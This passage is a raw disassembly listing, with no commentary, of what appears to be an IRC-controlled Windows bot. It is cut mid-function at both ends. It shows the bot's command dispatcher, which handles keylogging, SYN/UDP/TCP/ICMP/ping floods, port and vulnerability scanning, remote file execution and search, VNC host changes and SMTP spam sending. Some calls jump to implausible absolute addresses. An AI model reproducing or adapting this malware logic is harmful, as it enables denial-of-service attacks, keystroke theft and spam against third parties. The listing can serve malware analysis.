		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_42B528
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B498
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	near ptr 2680437h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	loc_4081AD
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset dword_42B438
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B400
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAA4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBACC, ebx
		jz	short loc_405F4F
		push	offset unk_42B388
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B35C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B33C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B2FC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2DC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2BC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B29C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B270
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B254
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B098
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset dword_42B05C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB944
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA58
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA54
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9D4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA24
		push	ebx
